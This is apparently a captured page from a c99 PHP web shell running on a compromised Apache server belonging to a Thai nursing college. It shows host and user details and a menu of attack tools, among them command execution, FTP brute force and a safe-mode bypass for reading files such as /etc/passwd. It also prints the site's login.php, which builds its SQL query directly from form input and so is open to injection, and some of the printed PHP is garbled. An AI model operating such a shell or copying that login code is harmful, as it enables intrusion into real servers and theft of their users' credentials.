!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/bcnu_login/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     login.php (1.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<?PHP include('config.php'?>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    
    <title>วิทยาลัยพยาบาลบรมราชชนนี อุดรธานี </title>
    
    <link rel="stylesheet" type="text/css" href="style.css" />
</head>

<body>
<?
 
     
if(($_POST['chack']== 1)AND($_POST[password]!='')AND($_POST[login]!='')){
  
$us $_POST['login'];
  
$cp $_POST['password'];
          
$sqllg "SELECT * FROM login WHERE user = '$us' AND pass = '$cp'";
           
$sqllg_query mysql_query($sqllg); 
           
$sqllg_fa =mysql_fetch_array($sqllg_query); 
    
    if(
$cp != $sqllg_fa[password] OR $us != $sqllg_fa[user]){ echo "<h1>ชื่อ หรือ รหัสผ่านไม่ถูกต้อง</h1>"$_POST['chack']= 0; }
           else{ 
 echo 
"<h1>ล็อกอินสำเร็จ</h1>";
  
$_POST['chack']= 0;
 }

    }                                          
?>

    <form id="login-form" action="check_login.php" method="post">
        <fieldset>
        
            <legend>Log in</legend>
            
            <label for="txtUsername">User</label>
          <input type="text" id="txtUsername" name="txtUsername"/>
            <div class="clear"></div>
            
            <label for="txtPassword">Password</label>
          <input type="password" id="txtPassword" name="txtPassword"/>
          <div class="clear"></div>
            
            <label for="remember_me" style="padding: 0;">Remember me?</label>
            <input type="checkbox" id="remember_me" style="position: relative; top: 3px; margin: 0; " name="remember_me"/>
            <div class="clear"></div>
            
            <br />
            
            <input type="submit" style="margin: -20px 0 0 287px;" class="button" name="commit" value="Log in"/>    
            <input type="hidden" name="chack" value="1" />
        </fieldset>
    </form>
    
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--